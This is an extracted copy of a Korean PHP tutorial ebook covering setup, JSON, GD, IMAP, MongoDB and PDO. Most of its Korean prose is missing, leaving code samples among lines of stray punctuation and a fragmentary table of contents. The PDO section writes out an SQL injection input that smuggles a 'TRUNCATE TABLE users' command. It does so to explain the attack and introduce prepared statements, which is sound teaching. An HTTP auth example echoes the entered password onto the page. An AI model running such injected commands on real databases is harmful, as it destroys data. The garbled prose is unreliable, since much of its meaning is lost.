php-RIP Tutorial
php-RIP Tutorial
#php
1
1: PHP 2
PHP 7.x 2
PHP 5.x 2
PHP 4.x 3
Examples 3
HTML 3
HTML 4
,! 5
PHP CLI 6
PHP 7
PHP 8
ASP 9
2: APCu 10
10
Examples 10
10
10
10
3: BC ( ) 11
11
11
11
12
Examples 12
BCMath 12
bcsub float-float 13
bcmath 32 / 13
4: GD 15
15
Examples 15
15
15
15
15
HTTP 16
16
OB ( ) 16
16
17
17
5: HTML 19
Examples 19
HTML 19
XPath 19
SimpleXML 19
19
XML 19
OOP XML 20
20
: 20
( ): 20
6: HTTP 22
22
Examples 22
22
7: IMAP 23
Examples 23
IMAP 23
23
24
25
8: JSON 27
27
27
27
27
Examples 27
JSON 27
JSON 30
30
JSON_FORCE_OBJECT 30
JSON_NUMERIC_CHECK 31
JSON_PRETTY_PRINT 31
JSON_UNESCAPED_SLASHES 32
JSON_UNESCAPED_UNICODE 32
JSON_PARTIAL_OUTPUT_ON_ERROR 32
JSON_PRESERVE_ZERO_FRACTION 33
JSON_UNESCAPED_LINE_TERMINATORS 33
JSON 33
json_last_error_msg 34
json_last_error 34
JsonSerializable 35
. 36
json_encode() 36
: 36
json 36
9: Linux / Unix 38
Examples 38
PHP 7 APT 38
10: MongoDB 40
Examples 40
MongoDB 40
- findOne () 40
- find () 40
40
41
41
11: PDO 42
42
42
42
Examples 42
PDO 42
SQL 43
PDO : MySQL / MariaDB 44
(TCP / IP) 44
44
PDO 44
PDO : 47
PDO :: lastInsertId () 47
49
49
49
49
Examples 49
MySQLi 49
MySQLi 49
MySQLi 50
51
MySQLi 51
52
MySQLi ID 52
MySQLi SQL 53
54
54
54
56
Examples 56
14: PHP 57
57
57
57
Examples 57
57
57
15: PHP 58
58
58
Examples 58
58
58
16: PHP 59
59
59
59
59
59
Examples 59
59
17: PHPDoc 61
61
61
Examples 61
61
62
62
63
63
64
64
64
PDFlib 66
Examples 67
PHP Redis 67
Redis 67
PHP Redis 67
68
68
Examples 68
(GET ) 68
POST 69
multi_curl POST 69
70
71
CurlFile 72
Examples 76
YAML 76
YAML 76
22: PHP 78
Examples 78
: 78
: 78
PHP / HTML 78
: 79
: 80
Intl 80
23: PSR 81
81
Examples 81
PSR-4 : 81
PSR-1 : 82
PSR-8 : 82
24: SimpleXML 83
Examples 83
XML simplexml 83
83
83
25: SOAP 84
84
Examples 84
SOAP 84
26: SOAP 85
85
85
85
Examples 86
WSDL 86
WSDL 87
87
SOAP 88
27: SPL 89
Examples 89
SplFixedArray 89
PHP 89
90
91
SplFixedArray SplFixedArray 91
28: SQLite3 93
Examples 93
93
93
SQLite3 93
/ 93
93
. 94
94
94
95
29: SQLSRV 96
96
Examples 96
96
96
97
97
97
sqlsrv_fetch_array () 97
sqlsrv_fetch_object () 98
sqlsrv_fetch () 98
98
Examples 100
URL 100
URL 100
URL 101
103
Examples 103
parse_url () 103
explode () 104
basename () 104
106
Examples 106
106
106
106
108
Examples 108
XAMPP 108
XAMPP ? 108
? 108
108
ZIP 108
108
108
WAMP , 110
Examples 113
35: 120
120
Examples 120
120
120
121
36: 122
122
122
Examples 122
/ 122
Serializable 122
37: 124
Examples 124
XHProf 124
124
Xdebug 125
38: 128
128
Examples 128
PHP-ML 128
SVC ( ) 128
k- 129
NaiveBayes 129
129
129
130
130
131
131
- 131
DBSCAN 131
131
39: 133
133
Examples 133
133
133
133
134
136
40: 137
137
Examples 137
137
137
137
: 137
: 138
: 138
138
139
140
140
141
141
PHP 142
142
() 142
142
41: / 143
Examples 143
getTimestamp 143
setDate 143
143
DateTime 144
DateTimes 144
144
144
145
145
145
42: 146
146
Examples 146
146
146
147
/ 148
43: 150
150
Examples 150
150
150
? 151
152
44: 153
Examples 153
153
fork 153
154
45: 155
155
155
Examples 155
155
PHPUnit 158
159
159
161
161
46: 163
163
163
Examples 163
PHP 163
163
163
163
163
164
164
47: 165
Examples 165
165
165
phpinfo () 166
166
166
166
Xdebug 166
phpversion () 167
167
167
( ) 167
48: 168
168
Examples 168
PHP 168
? 168
169
169
169
Demeter 169
49: 170
170
170
170
Examples 170
... 170
171
172
. 172
173
174
50: 175
Examples 175
empty () 176
__toString () 177
__invoke () 177
: 179
__ () 180
__clone () 180
51: 182
182
Examples 182
__FUNCTION__ __METHOD__ 182
183
183
183
184
52: 185
Examples 185
185
53: 187
187
Examples 187
187
188
Examples 190
190
191
191
192
193
193
194
194
getopt () 194
196
Examples 196
56: 199
199
Examples 199
199
strpos 199
200
200
200
201
201
57: 204
Examples 204
/ 204
204
58: 207
Examples 207
208
/ 209
59: 211
Examples 211
? 211
randomNumbers () . 211
212
212
212
213
send () - 213
60: 215
215
215
215
215
215
Examples 215
215
. 217
218
219
222
61: 224
224
224
224
Examples 224
224
225
226
each 226
next 226
foreach 227
227
227
227
227
ArrayObject 228
62: 229
Examples 229
229
229
230
230
230
230
231
231
232
232
() 233
rsort () 233
asort () 233
arsort () 234
ksort () 234
krsort () 234
natsort () 235
natcasesort () 235
() 235
usort () 236
uasort () 236
uksort () 237
237
238
63: 239
Examples 239
239
. 240
Imploding 241
array_reduce 241
243
64: 244
244
244
244
Examples 245
() 245
1 : $$foo['bar']['baz'] 246
2 : $foo->$bar['baz'] 246
3 : $foo->$bar['baz']() 246
4 : Foo::$bar['baz']() 246
246
247
247
247
247
247
248
248
248
248
250
250
250
65: 253
253
253
Examples 253
253
echo 254
print 254
254
print_r() - 254
var_dump() - 255
var_export() - PHP 256
echo 257
257
258
. 258
66: 260
260
260
Examples 260
260
260
260
(XSS) 260
260
261
261
HTML 261
URL 261
262
262
262
262
262
263
PHP 263
264
264
264
264
264
264
264
265
265
: 265
266
266
MIME 266
267
67: 268
268
Examples 268
68: 269
Examples 269
269
269
270
proc_open () 270
DIO 272
273
HTTP 274
http-client.php 274
test.php 275
276
Ev HTTP 276
http-client.php 276
280
69: 282
282
282
Examples 282
282
282
282
283
283
283
284
284
284
285
285
285
285
70: 287
287
287
Examples 287
287
: 288
288
session_start () 288
289
289
289
289
290
71: 291
Examples 291
TCP 291
TCP ( ) 291
. 291
291
291
292
TCP 292
292
292
292
292
292
292
UDP 293
UDP 293
293
293
293
293
294
Examples 294
PHP5 294
Suberglobals 297
297
?? 297
, . 297
$GLOBALS 298
298
$_SERVER 299
$_GET 300
$_POST 300
$_FILES 301
$_COOKIE 303
$_SESSION 303
$_REQUEST 303
$_ENV 304
73: 305
305
305
305
Examples 305
305
74: 307
307
Examples 307
307
307
307
Base64 307
OpenSSL 308
308
308
309
75: 310
310
310
310
310
310
310
Examples 310
310
311
312
312
76: 314
Examples 314
314
314
(, ) 315
315
77: 317
317
317
Examples 318
(. . =) 318
(=) 318
(+ = ) 318
() 319
319
319
320
320
320
320
320
(<=>) 321
instanceof ( ) 323
324
(``) 325
326
326
- 326
326
327
: 328
328
78: 331
Examples 331
331
331
/ 331
331
332
332
332
79: 334
Examples 334
: 334
: - 334
: T_PAAMAYIM_NEKUDOTAYIM 334
80: 336
336
336
Examples 336
336
POST 337
GET 337
POST 337
POST 338
81: 341
341
Examples 341
TCP / IP 341
82: 343
Examples 343
343
343
343
344
Heredoc 344
Nowdoc 344
345
346
346
346
347
Null 347
348
348
349
349
83: 350
Examples 350
? 350
350
351
351
switch 352
352
84: 353
353
353
Examples 353
, 353
: 354
355
355
355
356
356
() 356
Nullable 357
357
357
85: 358
358
358
Examples 358
memcache 358
358
358
359
359
APC 359
86: 361
361
Examples 361
361
361
362
87: 364
Examples 364
364
base64 364
88: 366
366
366
Examples 366
- , 366
PHPMailer 369
mail () 370
371
PHPMailer 372
Sendgrid 373
Sendgrid 373
89: 375
Examples 375
$ end 375
90: 377
377
377
Examples 377
, 377
377
. 377
378
Composer 379
91: 380
380
380
380
380
380
380
Examples 380
? 380
Composer 381
381
383
383
384
384
384
385
385
385
Examples 385
385
. 385
386
RegExp 386
388
93: 389
389
389
Examples 389
389
389
foreach 389
switch 389
if / else 390
94: 391
391
Examples 391
391
95: 392
392
392
392
Examples 392
392
392
392
float 392
393
boolean 393
null 393
393
394
. 394
394
394
PHP 394
96: 397
397
397
Examples 397
397
398
398
398
398
399
97: 400
400
Examples 400
400
400
401
402
, . 403
403
404
ob_start 404
Examples 406
Linux 406
406
PHP 406
99: 407
Examples 407
PHP 407
100: 408
408
Examples 408
408
408
101: 409
409
409
409
409
Examples 409
409
410
410
410
410
102: IP 411
Examples 411
HTTP_X_FORWARDED_FOR 411
103: 413
413
413
413
413
Examples 413
413
413
414
414
415
416
vs 418
:: class 418
419
419
421
421
422
423
423
424
424
425
426
$ this, 427
429
429
431
431
432
432
104: 434
Examples 434
434
434
434
434
435
435
& 435
435
436
437
... 437
437
elseif 438
438
438
105: 440
440
440
440
440
Examples 440
440
440
440
441
IO 441
CSV IO 441
stdout 442
442
442
443
. 443
443
444
/ 444
fileinfo 444
. 445
IO 445
445
446
446
446
446
447
447
447
447
/ 447
106: 449
Examples 449
449
449
450
450
452
452
107: 455
455
455
455
Examples 455
455
. 455
456
URL 456
459
459
. 459
MAC 460
Sanitze 460
461
URL 461
462
IP 463
108: 466
466
Examples 466
gettext () 466
109: 468
Examples 468
468
469
470
470
? 471
? 472
472
472
475
You can share this PDF with anyone you feel could benefit from it, downloaded the latest version
from: php
It is an unofficial and free PHP ebook created for educational purposes. All the content is extracted
from Stack Overflow Documentation, which is written by many hardworking individuals at Stack
Overflow. It is neither affiliated with Stack Overflow nor official PHP.
The content is released under Creative Commons BY-SA, and the list of contributors to each
chapter are provided in the credits section at the end of this book. Images may be copyright of
their respective owners unless otherwise specified. All trademarks and registered trademarks are
the property of their respective company owners.
Use the content presented in this book at your own risk; it is not guaranteed to be correct nor
accurate, please send your feedback and corrections to [email protected]
https://riptutorial.com/ko/home 1
1: PHP
. .
PHP .
PHP 2 . 2 1 . . .
3 .
https://bugs.php.net/ .
PHP PHP .
PHP .
edit.php.net . .
PHP 7.x
PHP 5.x
https://riptutorial.com/ko/home 2
5.1 2006-08-24 2005-11-24
PHP 4.x
2.0 1997-11-01
1.0 1995-06-08
Examples
HTML
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p><?php echo "Hello world!"; ?></p>
</body>
</html>
PHP HTML .
<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
https://riptutorial.com/ko/home 3
</head>
<body>
<p>Hello world!</p>
</body>
</html>
HTML
Content-Type text/plain .
header("Content-Type: text/plain");
echo "Hello World";
JSON application/json .
header("Content-Type: application/json");
application/json .
header() PHP . . .
https://riptutorial.com/ko/home 4
// Error: We cannot send any output before the headers
echo "Hello";
: - (/dir/example.php:2 ) /dir/example.php 3 .
'' ( : ).
,!
PHP echo :
print .
C printf .
PHP .
C . PHP .
<?php echo "No error"; // no closing tag is needed as long as there is no code below
PHP .
<?php echo "This will cause an error if you leave out the closing tag"; ?>
<html>
<body>
https://riptutorial.com/ko/home 5
</body>
</html>
PHP .
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon but leave out the closing tag";
PHP CLI
CLI PHP .
1. . php PHP .
2. . PHP php .
php hello_world.php
4.
https://riptutorial.com/ko/home 6
. php -a . PHP ( ) return .
$ php -a
Interactive mode enabled
php > echo "Hello world!";
Hello world!
Example.php
<?php
echo "Stdout 1\n";
trigger_error("Stderr 2\n");
print_r("Stdout 3\n");
fwrite(STDERR, "Stderr 4\n");
throw new RuntimeException("Stderr 5\n");
?>
Stdout 6
STDOUT
Stdout 1
Stdout 3
STDERR
Stderr 4
PHP Notice: Stderr 2
in /Example.php on line 3
PHP Fatal error: Uncaught RuntimeException: Stderr 5
in /Example.php:6
Stack trace:
#0 {main}
thrown in /Example.php on line 6
: (CLI)
PHP
-S .
php -S <host/ip>:<port>
1. index.php .
https://riptutorial.com/ko/home 7
<?php
echo "Hello World from built-in PHP server";
(, ) -t -t .
PHP
PHP . PHP () .
PHP .
<?php
echo "Hello World";
?>
short_open_tag .
<?
echo "Hello World";
?>
• PHP .
•
https://riptutorial.com/ko/home 8
.
• .
• XML
• .
ASP
asp_tags ASP .
<%
echo "Hello World";
%>
. PHP 7.0 .
PHP : https://riptutorial.com/ko/php/topic/189/php-
https://riptutorial.com/ko/home 9
2: APCu
APCu PHP - . PHP-FPM . .
Examples
apcu_store apcu_fetch .
$key = 'Hello';
$value = 'World';
apcu_store($key, $value);
print(apcu_fetch('Hello')); // 'World'
apcu_cache_info .
print_r(apcu_cache_info());
apcu_cache_info() apcu_cache_info() .
apcu_cache_info(true) .
APCUIterator APCUIterator .
APCUIterator .
$key = '…';
$regex = '(^' . preg_quote($key) . '$)';
print_r((new APCUIterator($regex))->current());
APCu : https://riptutorial.com/ko/php/topic/9894/apcu
https://riptutorial.com/ko/home 10
3: BC ( )
2147483647-1 . PHP .
bcadd .
left_operand ().
right_operand .
scale .
bccomp 2 .
left_operand ().
right_operand .
scale .
bcdiv 2 .
left_operand ().
right_operand .
scale .
bcmod .
left_operand ().
modulus ().
bcmul .
left_operand ().
https://riptutorial.com/ko/home 11
bcadd .
right_operand .
scale .
bcpow .
left_operand ().
right_operand .
scale .
bcpowmod .
left_operand ().
right_operand .
modulus ().
scale .
Bcscale bc .
scale
bcsqrt .
operand ().
scale .
bcsub .
left_operand ().
right_operand .
scale .
BC scale 0 .
Examples
BCMath
bcsub float-float
var_dump('10' - '9.99'); // float(0.0099999999999998)
var_dump(10 - 9.99); // float(0.0099999999999998)
var_dump(10.00 - 9.99); // float(0.0099999999999998)
var_dump(bcsub('10', '9.99', 20)); // string(22) "0.01000000000000000000"
bcmath 32 /
https://riptutorial.com/ko/home 13
$ascii = bcadd($ascii, "18446744073709551616");
}
BC ( ) : https://riptutorial.com/ko/php/topic/8550/bc-----
https://riptutorial.com/ko/home 14
4: GD
header("Content-Type: $mimeType"); _ , , ?> image____ . ( '' . .) ?> .
Examples
imagecreatetruecolor .
• imagecreatefrompng
• imagecreatefromjpeg
• imagecreatefrom* .
. ( ) imagedestroy() .
imagedestroy($image);
. .
image* image* . * .
$to . GD .
PNG .
imagepng($image, "/path/to/target/file.png");
https://riptutorial.com/ko/home 15
fopen t b .
HTTP
(: ) null . HTTP .
header("Content-Type: $mimeType");
OB ( )
ob_start();
imagepng($image, null, $quality); // pass null to supposedly write to stdout
$binary = ob_get_clean();
. , OB . .
stream_wrapper_register . .
<?php
class GlobalStream{
private $var;
stream_wrapper_register("global", GlobalStream::class);
GlobalStream (, ). .
https://riptutorial.com/ko/home 16
.
<img> HTML .
imagecopyresampled .
image .
// new image
$dst_img = imagecreatetruecolor($width, $height);
. createimagefrom* createimagefrom* .
• jpeg
• gif
• PNG
•
//original image
$src_img=imagecreatefromstring(file_get_contents($original_image_path));
imagecopyresampled($dst_img, $src_img,
$dst_x ,$dst_y, $src_x, $src_y,
$dst_width, $dst_height, $src_width, $src_height);
src_* dst_* .
https://riptutorial.com/ko/home 17
https://riptutorial.com/ko/home 18
5: HTML
Examples
HTML
echo $doc->getElementById("text")->textContent;
Hello, World!
XPath
echo $span->textContent;
Hello, World!
SimpleXML
• XML .
https://riptutorial.com/ko/home 19
XML
// Load an XML string
$xmlstr = file_get_contents('library.xml');
$library = simplexml_load_string($xmlstr);
// You can load a local file path or a valid URL (if allow_url_fopen is set to "On" in php.ini
OOP XML
// $isPathToFile: it informs the constructor that the 1st argument represents the path to a
file,
// rather than a string that contains 1the XML data itself.
// $isPathToFile: it informs the constructor that the first argument represents the path to a
file, rather than a string that contains 1the XML data itself.
• XML .
( ):
https://riptutorial.com/ko/home 20
echo ' ' . $attr->getName() . ': ' . $attr;
}
// Get children
foreach ($child->children() as $subchild){
echo ' ' . $subchild->getName() . ': ' . $subchild;
}
}
HTML : https://riptutorial.com/ko/php/topic/1032/html--
https://riptutorial.com/ko/home 21
6: HTTP
HTTP .
Examples
: . !
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
}
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
$user = $_SERVER['PHP_AUTH_USER']; //Lets save the information
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
$pass = $_SERVER['PHP_AUTH_PW']; //Save the password(optionally add encryption)!
?>
//You html page
HTTP : https://riptutorial.com/ko/php/topic/8059/http-
https://riptutorial.com/ko/home 22
7: IMAP
Examples
IMAP
/ PHP5
/ PHP7
YUM
Mac OS X (php5.6 )
IMAP . .
• IP
• ○ IMAP 143 993 ().
○ POP 110 995 ().
○ SMTP 25 465 ().
○ NNTP 119 563 ().
• ()
/user=user
/authuser=user ; ( : administrator)
/anonymous
/debug
/secure .
https://riptutorial.com/ko/home 23
/ssl Secure Socket Layer .
/tls start-TLS .
/notls TLS .
{imap.example.com:993/imap/tls/secure}
imap_open :
<?php
$mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password");
if ($mailbox === false) {
echo "Failed to connect to server";
}
. imap_list . imap_open (* ).
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX
[1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
[2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts
[3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk
[4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash
)
.Sent .
https://riptutorial.com/ko/home 24
Array
(
[0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent
)
:* .% .
imap_headers .
<?php
$headers = imap_headers($mailbox);
. 1 ( ) imap_num_msg($mailbox) ID .
imap_header .
<?php
$header = imap_headerinfo($mailbox , 1);
stdClass Object
(
[date] => Wed, 19 Oct 2011 17:34:52 +0000
[subject] => Message Subject
https://riptutorial.com/ko/home 25
[message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490>
[references] => <[email protected]>
[toaddress] => Some One Else <[email protected]>
[to] => Array
(
[0] => stdClass Object
(
[personal] => Some One Else
[mailbox] => someonelse
[host] => example.com
)
)
[fromaddress] => Some One <[email protected]>
[from] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[reply_toaddress] => Some One <[email protected]>
[reply_to] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[senderaddress] => Some One <[email protected]>
[sender] => Array
(
[0] => stdClass Object
(
[personal] => Some One
[mailbox] => someone
[host] => example.com
)
)
[Recent] =>
[Unseen] =>
[Flagged] =>
[Answered] =>
[Deleted] =>
[Draft] =>
[Msgno] => 1
[MailDate] => 19-Oct-2011 17:34:48 +0000
[Size] => 1728
[udate] => 1319038488
)
IMAP : https://riptutorial.com/ko/php/topic/7359/imap
https://riptutorial.com/ko/home 26
8: JSON
JSON ( JavaScript Object Notation ) . PHP PHP JSON .
json_encode -
. . UTF-8 .
.0.
json_decode -
JSON . JSON_BIGINT_AS_STRING ( )
Examples
JSON
// Returns an object (The top level item in the JSON string is a JSON dictionary)
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$object = json_decode($json_string);
printf('Hello %s, You are %s years old.', $object->name, $object->age);
#> Hello Jeff, You are 20 years old.
// Returns an array (The top level item in the JSON string is a JSON array)
$json_string = '["Jeff", 20, true, ["red", "blue"]]';
$array = json_decode($json_string);
https://riptutorial.com/ko/home 27
printf('Hello %s, You are %s years old.', $array[0], $array[1]);
var_dump() .
( ):
: JSON PHP .
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$array = json_decode($json_string, true); // Note the second parameter
var_dump($array);
( ):
array(4) {
["name"] => string(4) "Jeff"
["age"] => int(20)
["active"] => bool(true)
["colors"] =>
array(2) {
[0] => string(3) "red"
[1] => string(4) "blue"
}
}
( $assoc ) .
JSON 512 (5.2.3 20 , 5.2.3 128 ) "" json_decode() NULL NULL . 5.3 ( $depth ) .
PHP »RFC 4627 JSON . NULL . RFC 4627 . »RFC 7159 (RFC 4627 )
»ECMA-404 "JSON " RFC 4627 JSON . .
https://riptutorial.com/ko/home 28
, , PHP JSON .
( 512 ) $depth . .
$options . JSON_BIGINT_AS_STRING . .
var_dump(json_decode('tRue'), json_last_error_msg());
var_dump(json_decode('tRUe'), json_last_error_msg());
var_dump(json_decode('tRUE'), json_last_error_msg());
var_dump(json_decode('TRUe'), json_last_error_msg());
var_dump(json_decode('TRUE'), json_last_error_msg());
var_dump(json_decode('true'), json_last_error_msg());
PHP 5.6 :
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
https://riptutorial.com/ko/home 29
bool(true)
string(8) "No error"
false null .
$person = json_decode($json);
echo $person->name; // Notice: Trying to get property of non-object: returns null
echo json_last_error();
# 4 (JSON_ERROR_SYNTAX)
echo json_last_error_msg();
# unexpected character
JSON
$array = [
'name' => 'Jeff',
'age' => 20,
'active' => true,
'colors' => ['red', 'blue'],
'values' => [0=>'foo', 3=>'bar'],
];
echo json_encode($array);
{"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}}
OR | .
JSON_FORCE_OBJECT
https://riptutorial.com/ko/home 30
echo json_encode($array);
echo json_encode($array, JSON_FORCE_OBJECT);
["Joel",23,true,["red","blue"]]
{"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}}
{"tag":"<>","amp":"&","apos":"'","quot":"\""}
{"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"}
JSON_NUMERIC_CHECK
["23452",23452]
[23452,23452]
JSON_PRETTY_PRINT
https://riptutorial.com/ko/home 31
JSON .
$array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];
echo json_encode($array);
echo json_encode($array, JSON_PRETTY_PRINT);
{"a":1,"b":2,"c":3,"d":4}
{
"a": 1,
"b": 2,
"c": 3,
"d": 4
}
JSON_UNESCAPED_SLASHES
/ .
{"filename":"example.txt","path":"\/full\/path\/to\/file"}
{"filename":"example.txt","path":"/full/path/to/file"}
JSON_UNESCAPED_UNICODE
\u UTF8 .
{"english":"blue","norwegian":"bl\u00e5","german":"blau"}
{"english":"blue","norwegian":"blå","german":"blau"}
JSON_PARTIAL_OUTPUT_ON_ERROR
https://riptutorial.com/ko/home 32
echo json_encode($array, JSON_PARTIAL_OUTPUT_ON_ERROR);
{"file":null,"name":"foo.txt"}
JSON_PRESERVE_ZERO_FRACTION
float float .
[5,5.5]
[5.0,5.5]
JSON_UNESCAPED_LINE_TERMINATORS
PHP
JSON_UNESCAPED_UNICODE JSON_UNESCAPED_UNICODE U + 2028 LINE SEPARATOR U + 2029
PARAGRAPH SEPARATOR . JSON JavaScript 7.1 JSON_UNESCAPED_UNICODE .
{"line":"\u2028","paragraph":"\u2029"}
{"line":" ","paragraph":" "}
JSON
if (json_last_error() != JSON_ERROR_NONE) {
printf("JSON Error: %s", json_last_error_msg());
}
https://riptutorial.com/ko/home 33
#> JSON Error: Malformed UTF-8 characters, possibly incorrectly encoded
json_last_error_msg
json_last_error_msg() / .
• .
No Error
• ( ) false .
• . json_last_error_msg .
// Don't do this:
if (json_last_error_msg()){} // always true (it's a string)
if (json_last_error_msg() != "No Error"){} // Bad practice
if (!function_exists('json_last_error_msg')) {
function json_last_error_msg() {
static $ERRORS = array(
JSON_ERROR_NONE => 'No error',
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
JSON_ERROR_SYNTAX => 'Syntax error',
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
);
$error = json_last_error();
return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
}
}
json_last_error
json_last_error() PHP .
JSON_ERROR_NONE .
JSON_ERROR_DEPTH .
JSON_ERROR_STATE_MISMATCH JSON
https://riptutorial.com/ko/home 34
JSON_ERROR_CTRL_CHAR ,
JSON_ERROR_RECURSION
JSON_ERROR_UNSUPPORTED_TYPE .
JsonSerializable
jsonSerialize() JsonSerializable .
json_encode($User);
https://riptutorial.com/ko/home 35
.
RESTful json .
json_encode()
<?php
class User {
// private properties only within this class
private $id;
private $date_created;
private $date_edit;
var_dump(json_encode($theUser));
string(44) "{"name":null,"surname":null,"username":null}"
json
JSON :
<?php
$result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about');
https://riptutorial.com/ko/home 36
.
: .
UTF-8 .
header("Content-Type: application/json;charset=utf-8");
jQuery :
$.ajax({
url:'url_your_page_php_that_return_json'
}).done(function(data){
console.table('json ',data);
console.log('Menu1 : ', data.menu1);
});
JSON : https://riptutorial.com/ko/php/topic/617/json
https://riptutorial.com/ko/home 37
9: Linux / Unix
Examples
PHP 7 APT
PHP :
PHP .
php --version
: .
PHP .
PHP . . yum .
https://riptutorial.com/ko/home 38
php-bcmath.x86_64 : A module for PHP applications for using the bcmath library
php-cli.x86_64 : Command-line interface for PHP
php-common.x86_64 : Common files for PHP
php-dba.x86_64 : A database abstraction layer module for PHP applications
php-devel.x86_64 : Files needed for building PHP extensions
php-embedded.x86_64 : PHP library for embedding in applications
php-enchant.x86_64 : Human Language and Character Encoding Support
php-gd.x86_64 : A module for PHP applications for using the gd graphics library
php-imap.x86_64 : A module for PHP applications that use IMAP
gd .
• IUS
•
• Webtatic
https://riptutorial.com/ko/home 39
10: MongoDB
Examples
MongoDB
MongoDB .
. .
- findOne ()
ID .
- find ()
"Mike" :
$document = [
'name' => 'John',
'active' => true,
'info' => ['genre' => 'male', 'age' => 30]
];
$bulk = new \MongoDB\Driver\BulkWrite;
$_id1 = $bulk->insert($document);
$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);
https://riptutorial.com/ko/home 40
name "John" .
name "Peter" :
MongoDB : https://riptutorial.com/ko/php/topic/4143/mongodb-
https://riptutorial.com/ko/home 41
11: PDO
PDO (PHP Data Objects) .
• PDO::LastInsertId()
• PDO::LastInsertId($columnName) // .
lastInsertId() . .
SQLSTATE IM001 : .
try {
$id = $pdo->lastInsertId(); // return value is an integer
}
catch( PDOException $e ) {
echo $e->getMessage();
}
Examples
PDO
//Using MySQL (connection via network, optionally you can specify the port too):
//$dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8";
//Or Postgres
//$dsn = "pgsql:host=localhost;port=5432;dbname=testdb;";
$username = "user";
$password = "pass";
$db = new PDO($dsn, $username, $password);
https://riptutorial.com/ko/home 42
// Create some parameters to fill the placeholders, and execute the statement
$parameters = [ "221B" ];
$statement->execute($parameters);
SQL
SQL SQL . .
. .
page.php?user=0;%20TRUNCATE%20TABLE%20users;
SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users;
SQL . . SQL .
PDO ( ).
1. . ( : ), (. :user )
2. SQL ? :
https://riptutorial.com/ko/home 43
. . .
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
PDO DBMS .
PDO MySQL . , ( ) .
MySQL / MariaDB .
(TCP / IP)
$dsn = 'mysql:dbname=demo;host=server;port=3306;charset=utf8';
$connection = new \PDO($dsn, $username, $password);
PDO MySQL ( ) . .
. PDO SQL .
"" ( : UNIQUE ).
$dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8';
$connection = new \PDO($dsn, $username, $password);
'localhost' .
PDO
. .
PDO , .
https://riptutorial.com/ko/home 44
$username,
$password,
array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
);
try {
$statement = $pdo->prepare("UPDATE user SET name = :name");
$pdo->beginTransaction();
$statement->execute(["name"=>'Bob']);
$statement->execute(["name"=>'Joe']);
$pdo->commit();
}
catch (\Exception $e) {
if ($pdo->inTransaction()) {
$pdo->rollback();
